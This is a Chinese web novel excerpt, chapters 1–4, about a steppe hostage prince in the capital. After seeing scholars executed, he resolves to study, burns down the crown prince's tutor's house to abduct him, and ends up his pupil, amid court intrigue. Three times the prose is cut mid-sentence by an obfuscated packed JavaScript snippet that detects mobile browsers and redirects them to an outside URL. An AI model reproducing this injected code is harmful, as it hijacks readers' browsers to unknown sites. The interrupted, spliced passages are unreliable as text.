《世子超爱学习怎么办》 1. 菜市场杀头有什么好看的 “世子,菜市场杀头有什么好看的,咱还是老老实实在宅子里呆着吧!汉人有句话怎么说来着,多事之秋,多装孙子。”阿勒齐跟在后面嘀咕道。 “不一样,听说这一批死囚倒不是什么作奸犯科的贼人,是一群手无缚鸡之力的读书人,可在草原里,阿达从来不杀没有鹰和马匹,无一战之力的部民。”言罢,世子殿下已悄然从狗洞大门钻出,动作熟练得让人心疼。 阿勒齐叹了口气,心说:大汗让你来中原当质子是让你摸清汉人的时局变动,结交权贵的,你倒好,天天带我钻狗洞去菜市场看杀头。 “世子殿下,慢点啊,裤子膝盖那片不好洗啊,小心别再弄脏了。” 菜市场人头攒动,世子和阿勒齐挤了半天才挤到前排。阿勒齐熟练地从怀中掏出一把瓜子,分给周围老叟,打听道:“阿爷,台上那俩人人长得真白净,细皮嫩肉不像是天天风里来雨里去的土匪强盗啊,犯了啥子罪啊,至于要砍头。” “傻小子,外地来的吧,这俩人你都不知道,前一阵子闹可大了。你瞧,左边那个是当朝大学士周文甫,右边那个是一代大儒李苍雪。” 世子殿下忍不住开口:“十年寒窗苦读,不就是为了一朝科举平步青云吗?为什么会,沦落至此?” 另一老伯也是一脸不解:“谁知道啊,八成是读书读傻了,走火入魔了,居然号召南方学子反对朝廷新出的户调税制,说什么时局愈艰,愈是要给百姓一条活路。” 阿勒齐一脸不解:“说得是个理啊,那为何要砍头,阿爷,他们说的甚有道理……。” 话还未说完,阿勒齐就被老伯捂住了嘴,旁边一老叟赶紧压低声音说:“有道理就能说吗?有道理就能干吗?那还要王法干什么?普天之下,莫非王土,你这浑小子,也不看看这脚下是谁的天下,你也想被拉到上面砍头啊。” 阿勒齐顿觉脖子一片凉飕飕,良久说不出话。 秋风萧瑟,两位犯人都只穿了单衣,即使跪在铡刀前,依旧挺拔坚毅。世子殿下发觉其中一个人口唇微动,像是在默背什么,仔细听,是《金刚经》。 他不禁感慨道:“一代大儒李苍雪,儒家经典烂熟于心,临死之前背的居然是佛家的东西,真有意思。” 阿勒齐大惊:“啊,读书走火入魔了吧,都快死了还要背书啊,当年我知道要派我陪世子来京都,哭了好多天,生怕哪天就死在这了。” 世子:??? “午时三刻已到,行刑。”刽子手高高举起铡刀。 那一刻,喀沁世子清晰地看到周文甫望了一眼主审台,嘴角微弯,是在笑吗?一瞬间,他隐约感觉周文甫在嘲笑,嘲笑谁,是执行他死刑的主审官?是当朝天子?还是整个大渊王朝。他还没来得及细看,下一秒,二人人头落地,血溅三尺。 阿勒齐揉了揉眼睛,问道:“世子殿下,我没看错吧,周文甫刚刚是在笑吗?是我眼瞎了还是他疯了,不对,疯子这种时刻都笑不出来,应该是我瞎了。“ “你没看错,他确实笑了。阿勒齐,这就是汉人所谓的读书人,士大夫。“喀沁世子谈谈回答道。 “读书容易让人得失心疯吗?“ 世子没有回答阿勒齐的话,只是小声说道:“朝局晦暗,居然是读书人站在了最前面,生死关头,凛然面对。阿勒齐,从今以后你我也要求学问道,不止于此,要苦读,我们启蒙太晚了,他日我喀沁部民人人皆要读书。” 阿勒齐:??? 回去的路上,世子每每感慨读书之必要,阿勒齐脑海中就不断浮现菜市场那两颗人头咕噜噜滚来滚去的样子,读书,是为了让人乐呵呵去死吗?连死都不管不顾,那还是人吗?我阿勒齐才不要做这种傻子。 “世子,不要啊,我阿达说读书可比打仗苦多了,眼能熬瞎,屁股能坐烂。” 世子怒道:“光会打仗有什么用,这么多年,我喀沁部抢了大渊那么多土地城池,可你算算,最后哪一个守住了,到最后哪一个不还是兜兜转转又回到大渊手里,连我都赔给大渊当质子了。” “世子,要是换成我们喀沁是天下共主,您会救菜市场那俩读书人吗?” “会偷偷杀。”喀沁世子的回答丝毫没有半点犹疑,彷佛这个问题他早已仔细思虑过,答案自然能脱口而出。 阿勒齐:??? 大渊历来禁止外族质子习得汉人文化,阿勒齐犯了难了,问道:“读书,是不是得要有书啊,可大渊朝廷明令禁止咱们买书借书。” 世子微微蹙眉,问道:“京都那么多私塾学堂,书,很难偷吗?” “倒是不难,可世子,咱不是要当读书人吗?读书人,能偷书吗?” 世子思索了一会,“所言甚是,读书人,要知礼,自是不能干这些偷鸡摸狗的勾当。阿勒齐,你找家偏僻点的私塾宅子,赶紧掏个狗洞出来,这次挖大点。等夜半时分,我亲自去取四书五经,笔墨纸砚。“ 子时已过,月明星稀,质子宅的茅房后面已然堆满了四书五经,各类文史典籍。 阿勒齐委婉劝道:“世子殿下,京都盗盟立过规矩‘盗亦有道,不能全偷’,您好歹给人家老夫子留几本啊,怎么都搬来了。” “我不知哪本可有,哪本可无,索性就都搬来了。” “那也不能放茅房旁边啊,这不出三天就能熏入味,还不如放柴房。” “不妥,柴房容易走水,主厅和东西厢房人多眼杂,而这间茅房,只有本世子有权使用,放在这,我心安。” “世子,您就不怕万一哪天忘带手纸,一不小心撕几张……”余光观察到世子的一记眼刀,阿勒齐不敢继续说下去。 “书倒是搬来了,可咱们都不认识汉文,看了也是白瞎,总不能让我再偷一个先生来。教书先生是人,不是物件,偷不了。” 世子摆摆手,“无妨,可以骗一个,或者,你再掏个狗洞,明晚子时我再绑一个来。” 阿勒齐汗颜,彻底不敢再问下去了。 是日清晨,鸡刚鸣了两声,阿勒齐便被世子叫了起来。 “早啊,世子殿下。”阿勒齐睡眼惺忪。 世子开门见山:“阿勒齐,昨晚我想了整整一夜,书史典籍,载道而已,有便足矣,无所谓出处和来处。可是请先生却至关重要,事关传道授业解惑。” “世子殿下,我想先去上个茅房。” 阿勒齐眼睛强行睁开。 “忍着,等我先把正事说完。” 世子殿下顿了顿,“阿勒齐,我决定要请京都最好的先生作我的授业恩师。” “可是,全京都最出名的教书先生不是咱昨天在菜市场看见的那两位吗?世子,他们教不了你了,没有头了。” “还有一人,我是说当朝太子太傅——楼景谦。” “太傅是啥意思?” “就是太子的先生,师傅。” 什么?世子想要绑,不是,是请太子师傅当先生,啊,是太子的师傅,当朝太子的师傅。阿勒齐顿觉遍体生寒,尿意全无。世子真疯了,书还没读,就已经走火入魔了。 阿勒齐犯难了,阿达说过,喀沁一部生死未来全系于世子一身,我无论如何都要全力执行世子的任何命令,粉身碎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14805560|158484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 骨在所不惜,可是阿达,世子说的一定都对吗?我怎么感觉世子已经失心疯了。 历经一番思想斗争,阿勒齐鼓起勇气:“太子太傅那又如何?南下那么多弯刀见红的仗都打过,文弱先生有何可惧?他家住哪,我去挖。” “京都达官显贵的宅子都是砖瓦堆砌,不是土墙,你挖不动,二来,戒备森严,容易被察觉。这样吧,咱们这次不钻狗洞,改放火,火势一起,场面必定混乱,太傅府全家必倾巢而出,你我只需在外守株待兔,趁乱虏人。” “世子英明,到时候我把火势闹得再大一点,人人自危,等大家发现太傅不见了,只会以为太傅葬身火海了,没人能查到咱们这。” 世子点点头:“嗯,大体没问题。正事说完了,你先去茅房,后面的事,容我想想再细说。” 深夜,东宫太子府,灯火通明。 太子侧坐明堂,闭目扶额。 “最近天下学子可消停了。“ “周李二人问斩后,已渐渐平息。天下太平,朝廷新出的户调税制已再无阻碍。“ 太子苦笑,叹了口气:“哪有什么四海生平啊,不过是敢怒不敢言罢了。今夜之后,周文甫,李苍雪,将千古留名,而本宫和父皇,怕是要被唾弃万世。“ “殿下,如今内忧外患,北方夷族虎视眈眈,南境异姓王隔岸观火,军需兵役都迫在眉睫,不改制,不增税,朝廷实在是养不起那四十万虎狼之师。“ “也罢,家国大局,连本宫的先生都不能理解,又岂是那些酸腐文人所能思量,他们骂便骂,恨便恨,本宫只当高处不胜寒。“ 太子殿下像是想起什么,突然开口问道:“对了,京都那些质子们最近可还安分?” “回殿下,云南质子近日广宴宾客,结交权贵;北羌质子暗中联络西域商旅,欲于京都密建谍网;契丹质子四处行贿内官,欲返契丹本部。喀沁质子,嗯,最近还一直在偷东西,暂时看不透其意欲何为,就是偷得更为猖狂,京都盗盟已多次暗中反映。” 太子冷冷道:“喀沁质子这些年来一直是个惯偷,不难猜,喀沁部族向来贫乏,难以供应质子府京都开销,他不偷,难道日常用度要朝廷去供吗?先别管他。” “而契丹质子,他现在一心只想回契丹找他叔叔报杀父之仇,不成威胁,但也不能放虎归山。” “至于云南质子和北羌质子,容本宫先想想再做安排吧。要密切监视,不得放过任何风吹草动,也不得打草惊蛇。”太子殿下挥挥手,门客侍卫悉数退出。 待众人走远,太子殿下缓缓睁开眼,用扳指敲了三声桌面,旋即,一名暗卫从明堂后暗门走出。 “殿下,臣在。” “周文甫,李苍雪在菜市口行刑前可有何遗言。” “回殿下,并无,周文甫只是临刑前笑了下,李苍雪口中一直默念佛经,属下只能依稀听出‘凡所有相,皆是虚妄,若见诸相非相,即见如来’。” 太子摇摇头,说道:“周文甫是在嘲笑本宫和父皇饮鸩止渴,李苍雪一代大儒,醉心儒学经典,他念佛,大抵是为天下人而念的。一旦改制增税,怕是不知要多少百姓沦为流民,易子而食。” “殿下,这些不是您的意思,是圣上一意孤行,您不得已而为之啊,莫要为此劳心伤神。” “慎言。” “是,殿下。” “太傅是李苍雪的同门师弟,关系颇深,他可有到刑场送两位先生最后一程。” “回殿下,行刑之时,太傅正于倦山寺喝糖水。” “也罢,太傅能看开就行。” 2. 火烧太傅府 世子看到满屋的鱼油,不禁蹙眉。 “阿勒齐,这几桶鱼油你最好告诉我不是从京都盗盟里偷来的。“ “世子,不是您一直教导我:买,只准买不值一钱的,偷,就要偷千金难买的。京都谁不知道,大渊最好的烛油就是盗盟的鱼油。不愧是盗盟从东瀛死士那一勺勺偷来的,世子,你看看这成色,闻闻这腥味,极品中的极品。“ 世子忍不住狠狠踢了阿勒齐一脚,怒道:“你偷谁不好,你去偷盗盟的东西,连京都府尹都不敢管的盗盟,你给摸了。“ “世子,凭什么只许盗盟四处偷东西,不许我阿勒齐去偷盗盟,还有没有王法了。” “盗盟背后的靠山是太子。” 阿勒齐惊呼,“世子,不会吧,都是当朝太子了,还干些偷鸡摸狗的勾当,匪夷所思,这太子也太不要脸了。” “太子一向是个惯偷,不过好在盗盟规矩严苛,盗亦有道。且一向只偷达官显贵,王公贵族,异族富商,不偷平民百姓。” “这么说,太子还是个好人,缺钱了就只拿富人开刀,比那些搜刮民脂民膏的狗官强多了。话说回来,世子,您是怎么知道盗盟背后的人是太子。” “七岁那年,阿达无意截获了大渊运往北境的一条特殊补给线,不仅粮油充沛,而且多了很多未曾见过的冷兵器,阿达审问才知,是京都盗盟的手笔,以缓和前线军需紧张。那时我就怀疑,盗盟背后的主子定是大渊的某位皇子,所以,来京都后有意让你苦练盗术,接近盗盟。” “世子,我还以为,我们之前就是纯偷……没想到,这么多弯弯绕绕。” “这些年来,除了大皇子是真没钱七皇子实在年幼,二皇子搜刮的奇珍异宝,五皇子收藏的书画文玩,孝敬六皇子的田租地契,哪一个没被盗盟摸个遍,可只有四皇子,盗盟从未染指,还不明了。” “我懂了,盗盟背后是四皇子。” 阿勒齐恍然大悟。 “四皇子就是当朝太子。” “太子连自家亲兄弟都偷啊,这太子当得也太憋屈了。” “已经算是宅心仁厚了,我若是他,前线吃紧,定是要抄几个门阀大家斩几个国之蛀虫,将他们的家产悉数冲缴国库。至于兄弟血亲,历来皇家都是骨肉相残,你死我活,太子自入主东宫后,还从未见他对几位皇子出手过。” “世子,这些东西,要还回去吗?” 世子看着满屋的鱼油,心想道,用鱼油放火烧宅,火情大,火势难熄,却不易伤人,不禁感叹,贵也,贵即佳矣。转而问道:“能查到是你偷的吗?” 阿勒齐仔细想想,近日质子府暗哨盯得少了,而自己的实力又不输盗盟里的任何高手,故向质子保证,绝无此种可能。 世子点头,“也罢,这些东西就留下吧,一切按计划就行。” 深夜,楼景谦正禅坐于倦山寺厢房,想其生平,同师兄李苍雪十年寒窗苦读,无人问,一举成名,天下知,执文坛牛耳者数十年,一朝为生民立心,险为刀下魂,三十七年来,终成一场大梦,哭不得,痛不言。 楼景谦辗转难民,叫上家仆和管家,山间漫步。 “家主,夜间风大,还是回禅房礼佛吧。” “师兄弃儒修佛,却至死不得庇佑,佛,佛在哪呢?” “家主,慎言。”管家小声说道。 “我知道,也就在这山野之中,才敢说几句,府里和寺里的隔墙有耳太多了。” 忽觉远处有一簇火光,楼景谦问道:“谁家的宅子走水了,三更半夜的,怪可怜唉。” 有一家仆惊呼:“不好了,老爷,是西南方向,那八成是咱们的太傅府。” 楼景谦顿时瘫坐在地上,嘶哑道:“我的金石古籍,前朝书画,珍惜藏书,可都在太傅府,快快快,备马,送我回去,我要去救火。“ 管家扶住楼景谦,劝道:“家主,看情况,火势很大,等我们回去怕是烧完了,您刚大病初愈,不宜奔波。况且……”管家叹了口气,继续说道: “家主,你想想,这火势起得怪,又凶猛异常,放火之人定是冲着您来的,您此时回去,怕是会一去不回。” “若一去不回,那便一去不回,松远,那些书法字画,珍贵异常,哪怕改朝换代,千秋万世,都不会再有这样的笔墨了。松远,我,我不能让它们毁在我这一代手里。” “家主,你忘了你是如何答应苍雪先生的吗?您现在回去就是送死啊,你死了,太子殿下怎么办,苍雪先生的临终嘱托怎么办。” 楼景谦在幽寂的山林里嚎啕大哭。 此时,太傅府门外。 阿勒齐一脸不解:“世子,太傅怎么还没出来,不会真被咱给烧死了吧?那可真是偷鸡不成蚀把米。“ “不会,你看那么多太傅门生从里面拼死抢出书卷,太傅应该不在里面,不然,先抢的不会是这些死物。“ “世子,你说他们是不是读书读呆了,这么大火,抢几本破书,不要命了。” 世子也是一脸不解。突然,里面冲出一个门生,脸和手臂都有烧伤,头发,背上也着着火,阿勒齐见状提起一桶水准备泼过去,可门生突然大喊:“不,不,别泼我,求你了。” 世子赶忙拦住阿勒齐,并解下外衣,不断拍打着书生的背和头发,帮忙灭火。 阿勒齐看到世子将书生那件着火的外衣褪去之时,书生背部有一整块皮也随外衣嘶得一声离开书生身体。书生的脸上,手臂上,全是烧伤,可他怀里的那几卷书却安然无损。他忽然明白,书生不愿他泼水救他是怕毁了这几卷书。 阿勒齐忍不住吼那个书生:“都什么时候了,你不要命啦,不就是几卷书吗?能有你的命重要吗?你们读书都读成傻子了。” 书生却满意地笑了,可一笑就牵动着周围受伤的肌肤,他只得收住,缓缓道:“我一介布衣,无权无势,在门阀士族一路夹杀下走到今天,此生所能依托的唯有书画而已,人生实难,也幸遇书画,不虚此生。” 世子劝道:“你把它看得太重了。” “宁为玉碎。”书生眼里全是笑意。这笑容再次带给世子极大的震撼,为什么,你们这些读书人总是爱笑呢?为什么你们总是活得如此不同,可却说不来哪里不同…… “阿勒齐,你我都是上过战场的,我们去救书总好过让那些书生白白去送死,我们已铸成大错,你可愿同我一同赴火海救书。” “得令。” 二人不断从太傅府库房抢出书卷典籍,他们身手极佳,动作敏捷,屏息闭气能力亦非常人所能及,很快就将库房里的大片书画墨宝搬至府外。可火势越来越大,且二人背部皆有不同程 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14805561|158484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 度烧伤,遂只得作罢。 一个时辰后,太傅楼景谦骑马赶来,下马时一个踉跄,摔倒在地,众门生见状急上前搀扶。 “诸生可还安好。” “安好。”“一切安好。”“都好。”…… 听到学生都平安无事,楼景谦点了点头。剩下的,他不敢问,也无法面对。 突然有一个门生说:“昨晚路过两名少年郎,身手极好,拼死抢下了库房里七成的书画,还有众多同门也拼死冲入火海,也抢到了一成的书画,先生,我刚统计了一下,先贤古籍,书法字画,史籍记载,大部分还在。” 楼景谦不敢相信自己的耳朵:“韩厉,你方才说,还在?可信否?” 楼景谦瞬间热泪盈眶。 韩厉走到楼景谦,悄悄耳语,“先生,李先生托付给你的那些书画也都还在,方才我归类的时候已悄悄将其转移了。” “好好好,韩厉,有劳了。” 楼景谦不住地留下了眼泪,心里感慨道:“师兄,是你吗?是你在天上保佑这些书画吗?是你在冥冥之中派两位少年保我大渊儒道佛薪火相传吗?” “快,带我去见见那两位少年,我要好好谢谢他们。” 医馆内,两名少年的背部还在不停渗血,嘴也停不下来。 “我说世子,回去你就把茅房后面那些书给挪走吧?我现在一想起咱自家的书放茅房那,结果别人家的书咱舍了命去救,真不是滋味。就好像有屎在背上。” “你是想说如芒在背吧。行行行,回去你给我掏个地窖出来,我把书放那里。” “公子,你听,好像有人来了。” 彼时,楼景谦带了上好的金疮药,给医馆交了很多佣金,让大夫务必好好疗养两位少年。一进门,果真看见两位少年背部鲜血横流,一时心痛不已。 阿勒齐侧过头说:“别怕,这点小伤算啥,小爷我五岁受的伤都比这重。” 楼景谦躬身行礼:“二位小友大恩大德,如同再造,景谦没齿难忘,楼氏一族亦感激不尽。” 两人纷纷侧目,“你就是楼景谦,不像啊。” 韩厉轻轻咳了两下,“先生确是当朝太子太傅,楼先生。” 阿勒齐狐疑:“不是说楼景谦是李苍雪的师弟吗?怎么感觉和李苍雪一点都不一样。世子,我觉得周文甫倒更像是李苍雪的师弟。” 韩厉又猛咳了几声。 世子补充道:“楼先生,我们兄弟二人没有文化,说话多有得罪之处,请勿见怪。” 楼景谦笑道:“大渊文化鼎盛,哪怕目不识丁的乡民言谈都能说上几个成语,吟几句诗,可话术愈文雅,也就愈虚愈假,我还挺喜欢听这位小友说上几句真言。“ 韩厉已然汗流浃背,先生大悲大喜后定是懈怠了,怎么能在医馆这种人多眼杂的地方讨论两位罪臣呢?周李二人的教训,难道还不足以令天下读书人胆寒吗?韩厉自觉地退出门外把风。 楼景谦问道:“说说看,我怎么不像是李苍雪的师弟,我们当年一起在江亚书院寒窗苦读时,二位小友怕是还没出生呢。“ 阿勒齐答道:“我没读过一天书,但周文甫和李苍雪在菜市场我们见过,一看就是个读书人,老伯们也都能看出来。可是不知道为什么,你一看就是个当官的。“ 楼景谦忽觉心如刀割。 3. 拜师 楼景谦很快便掩饰了那份失落,转而问道:“你们不是我的门生,为何舍命救我书。“ 世子故意停留了几秒,说道:”我们兄弟二人是前几日观菜市口两位先生义举,感触颇深,始对书和天下文人满怀敬畏。” “百无一用是书生罢了。“楼景谦叹息道。 世子突然坐起,言词激烈:“读书百无一用,却也处处大用。我喀沁部历来骁勇善战,可也只会在马背上四处征战,目不识丁。于内,上不事父母,下不顾妻儿;于外,对部族命运无动于衷,对族人哭声充耳不闻。囿于杀戮,独忠刀剑,独敬长生天,独畏生死。” 他稍稍平复下心情,继续说:“因杀戮而起,也必因杀戮而亡。请先生传道授业,救我喀沁族人于杀戮水火之中。” 阿勒齐:“世子,您是喀沁质子,京都先生教你读书依律法罪同叛国。” 世子急忙答道:“先生,若你肯做我的先生,我叶甫谢万索拉图在此立誓,永不挥刀南下,否则万箭穿心,身死族灭。” 阿勒齐抬头???世子,您自己发誓,就不要把族人给带上了。 楼景谦沉默良久,直到管家来报,太子邀约。 待楼景谦走后,阿勒齐立马起身,问道:“世子,我刚才全都按你的意思说了,没背错吧。” “好样的,一字不差,阿勒齐,你天资良好,要不也跟我一起读书吧。” “世子,这八字还没一撇,太傅都还没答应要做你师傅呢?” “他会的,否则他就不会是李苍雪的师弟,那群门生的先生。他的门生,除了太子,皆是布衣,偌大的宅子,全是书画笔墨,一点金银细软都没,不娶妻,不豪奢,笃信佛。这样的人,只守道义,不惧律法。” 世子讲了一堆,阿勒齐的关注重点却是,没有钱,那还怎么偷,原本还想着太傅府门生众多,下了学堂可浑水摸鱼顺点东西,省得另外挖洞了。 阿勒齐试探问道:“世子,能换个富裕的教书员外吗?” 世子答道:“阿勒齐,像你我这样的外族人只在京都呆上几年都能出口成章,人模狗样地求师问道,可见中原文明发展千年,充斥虚假之易也。我们要把中原文明带回去,自是要带中流砥柱,不是一些虚头八脑的屁话。所以,一定要选京都最好的先生。” “那世子殿下怎么确定楼景谦就是最好的先生,我看着,也就那样,一个鼻子,两个眼,又穷又酸。” “我相信太子的眼光。”世子淡淡说道。 与此同时,东宫后花园,太子殿下正沏好了茶。 “太傅,西湖龙井,陛下新赏的。” “臣惶恐。”楼景谦始终低头。 太子不紧不慢地将茶具递过去,徐徐说道:“我知太傅喜爱武夷岩茶,可府上实在是只有这种茶了,太傅将就着喝吧。” 楼景谦浅尝辄止。 太子继续说道:“我母妃江浙人,二哥的母妃是徽州人,五弟的母妃我记得是泉州人,故而父皇因地制宜,连赏赐都是不同地区不同赏法,赐我的茶每年必是西湖龙井,二哥的是六安瓜片,五弟的是闽地的铁观音。” 楼景谦不明深意。 “起初,我们兄弟都以为是父皇体察入微,直到有一年几位兄弟不懂事,便将赏赐的茶私下换了一下,本意只是想换下口味而已。“ 太子殿下笑了笑,继续说道:“可是很快就被父皇知道了,父皇大怒,把几位兄弟好一顿打骂,最后还用上了鞭子。” 楼景谦感慨道:“只是换个茶叶而已。” “是啊,可父皇却不是这么想,往小了说,换个茶叶,往大了说,却是蔑视皇权。一旦涉及皇权,便是雷霆之怒,父皇说,茶,朕会给你们,朕不给的,那就不是你们该有的,你们不能使手段要。” 楼景谦:“太子殿下当年为什么没有换茶,其实臣这么多年一直觉得,太子殿下亦不喜绿茶。” “因为我足够了解父皇。太傅,我无才无德,资质平庸,也无母族依靠,能入主东宫,只是因为我足够了解父皇,也正因如此,才活到今日。” 楼景谦抬头:“殿下,莫妄自菲薄,您是大渊皇室最宅心仁厚的皇子。殿下,百姓和满朝文武想要的不是开疆拓土,文治武功,彪炳千秋,不是无休止的杀戮和赋税徭役,是安居乐业,颐养天年。而唯有殿下,方能如此。” 太子苦笑了一声,“这几日被禁足东宫,闲来无事翻了翻幼时太傅教我的丹青,恍如隔世,原来我还曾画过五岳群山,画过湘江水流,画过北境狼烟,可入主东宫后,过眼烟云,本宫现在也只能画画府里的后花园,京都的城郭瓦砾,宫内的四方红墙。” 楼景谦安慰道:“眼前的江山才是无限江山。” “对于周文甫,李苍雪,本宫没能保住他们,本宫向太傅致歉,可本宫希望太傅相信,本宫已经尽力了,实在是无力回天。” “怎会是殿下的过错,是臣之过,臣当年就不该劝两位兄长辅佐太子,还企图妄议朝政,救民于水火,是臣太天真了。也是两位兄长太过仁善,不然怎会落得个身首异处的下场。臣,也几度下狱,险些病死狱中,昨日府邸也突遭大火,算是家破人亡。” “太傅,府邸大火看似是本宫的手笔,实则非本宫所为。本宫是您看着长大的,本宫的心性,旁人不知,太傅难道不知吗?” “绝对的权力会让帝王忘却初心,臣记得,当年的陛下也曾有过赤子之心,也曾爱民如子。” “太傅。” “殿下不必试探,不论殿下要对臣做什么,臣此生都只效忠殿下一人,臣的门生也唯殿下马首是瞻,臣没得选,天下百姓也没得选。” 太傅走后,太子殿下命人将茶具撤下。 他从袖口里掏出一卷丹青,往事依稀浮现在眼前。 七年前,也是在东宫后花园。 “先生,你看,这是陛下赏我的东宫,我现在是太子了,母妃是贵妃了,先生也是当朝太傅了。” 太傅只是看着花园,不语。 “可今日册封之时,父皇也当众说了虽然我是太子,却是大渊开国以来资质最平庸,最碌碌无为的太子,兄弟们只需努努力便可取而代之。” 太傅突然开口道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14805562|158484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只要臣在,臣拼死也会辅佐殿下的,殿下的东宫之位不会有任何变故。” “我为父皇作了一幅《京郊雪景图》,可画得实在太平了,先生能帮我改改吗?” “臣看看。” 太傅仔细看了一会,说道:”殿下,臣觉得很好,陛下久居深宫,看到如此雪景,想来必是心旷神怡,可暂解案牍劳形。天寒地冻,殿下远赴京郊作画,有心了。“ “那我再摹一幅,送给先生,先生劳累时可看看,京郊大雪,当真美到极致,可遇不可得。” 太子殿下亲自将丹青送到内殿,皇帝只看了一眼便丢在一边,太子殿下领命退下。 后来,太子殿下便很少作画了。 直到有一日,太子登门太傅府,在太傅府的书房上赫然看见《京郊雪景图》。 这一副是摹本,用笔粗糙,布局潦草,一看就是赶工所为,远比不上送进宫的那幅。 “太傅,本宫在丹青上确实毫无精益,不如太傅的任一门生,这幅画,还是束之高阁吧。” 太傅笑着说:“不一样,臣唯独在这幅画上看到了真正的太子殿下,没有技法,不重笔墨,肆意潇洒,不拘一格。臣每每看到这幅画,难免会遐想一番,若殿下出生于寻常人家,定是个游走四方的热血侠客。” “太傅取笑本宫了。” “非也非也,纵使笔不笔,墨不墨,画不画,自有心在。” 七年了,东宫的后花园丝毫未变,年年依旧是这般花草水榭,可除了花草未变,一切都变了。 这七年来,太子殿下失去了母妃,母妃一族百年门阀也渐渐被陛下连根拔起,誓死效忠于他的文武百官,大都明升暗降远离中枢,剩下的要么卸甲归田,要么死于党争。远离庙堂却支持他的文人大家也被问斩于菜市口,如父如师的先生也与他貌合神离了。 看似尊贵无比,一人之下万人之上,实则脚下的虚浮只有自己知道。 先生说过,初心会变,他自己的初心,大概就如同那幅《京郊雪景图》,一半被皇权践踏,一半随着太傅府的那把大火燃烧殆尽。 既已失去得无可失去,不反何为? 良久,太子殿下扣了三下扳指。 “殿下,臣在。” “把契丹质子叫来,记住,要隐秘点。此事全天下不可有第三个人知道。” 彼时,京郊韩府。 “少主,听说太傅府大火,您没事吧。” “无事,倒是一些书画可惜了,没救出来。” “少主没事就行,您要有个三长两短,属下可怎么跟陛下交待啊。” “那把火,不知是不是冲我来的。” “怎么会,您的身份,应该没有人知道啊。” “对了,我今日在太傅府书房看到了一幅画,我把它偷偷带过来了,你看看,可有问题。” “属下只会杀人,不懂画啊。” “我好像在宫里看到过这幅画。” “跟宫里的很像,又挂在太傅府书房,想来一定价值不菲,可以买座宅子了。” 韩厉扶额叹息。 4. 听不清楚 晨光熹微,倦山寺外山林之中 “授你二人诗书之事,切不可让他人知晓。” 楼景谦开门见山。 阿勒齐内心腹诽,我还不想学呢。 世子跪坐,“学生叶甫谢万索拉图谨遵教诲。” 楼景谦诧异:“什么拉?” “叶甫谢万索拉图。” “什么图?” “叶甫谢万索拉图。” “叶什么?” 世子微微叹息,“先生可唤学生萧照,萧照即为学生的中原名字。” “萧照,倒是朗朗上口,此名可有何寓意。” “回先生,无寓意,刚起的。信手所起。” 阿勒齐:“世子,这名字真好听,我以后就唤你萧世子了。” 楼景谦:“也好,有个汉人名字也便宜行事。按汉人习俗,你们二位也应有个表字。“ 阿勒齐一脸惊恐,婊子??? 世子轻轻肘击了阿勒齐,示意他收起那副表情。 楼景谦思索片刻,在纸上写下了“恕和”和“希和” 两人看了半天,直到阿勒齐开口:“先生,我们不认字。” 楼景谦先是诧异一下,很快恍然大悟:“先生忘了,这两个表字分别是“恕和”和“希和”,两位看看各选一个作为表字,我们师徒之前可私下称谓。“ 世子:“两个表字有何含义。“ 楼景谦笑了笑:“临时起意所作,无意。” 世子选了“恕和”,阿勒齐选了“希和”。二人识得的第一个文字即是“和”。 楼景谦感慨,人生忧患识字始,世人只知读书千般好,其中酸甜苦辣,不过冷暖自知罢了。还未来得及感怀,便被一声声“先生,这是甚字”,“先生,这个字怎么读?”,“先生,这句是何意?”淹没了,遂忙于说文解字,一时也忘了时间。 两三个时辰后,阿勒齐左扭扭右晃晃:“世子,我屁股痛。” 眼见世子未曾停下手中的笔,阿勒齐又对着先生说:“先生,我头疼。” “希和,把这五百字临摹完,我们就小憩片刻,去喝碗糖水。” 阿勒齐顿觉头晕眼花,长生天啊,读书真比打仗累,一点都不痛快。 “我宁愿喝尿,都不想再拿毛笔了。” 楼景谦笑道:“这才哪到哪,当年我和师兄在江亚书院求学时,每天雷打不动要写一万字,那时候别说有碗糖水了,连饭都吃不饱。” “先生,我们在此抄字着实无聊,不如我们边抄字边听故事怎么样,你多讲讲以前有意思的事。” “你这小子,除了读书不行,别的地方倒都挺有慧根。也好,我就讲讲我当年求学的事,给两位弟子助助兴。” “想当年在新亚读书前,我还在北境前线打仗。” 阿勒齐抬头:“啊?先生,没准您还和我们部族打过呢?是不是书里说的不打不相识。” 世子给了阿勒齐一记眼刀。 “那倒不会,军鼓一响,我就赶紧跑出去趴在死人堆里装死,等鸣金收兵时我再悄悄溜回军营。那时每日所想,就是这仗多打点,打得再久点,混点军饷回去娶妻生子。” 阿勒齐:“先生,你这也太软蛋了。” 世子狠狠踢了阿勒齐一脚。 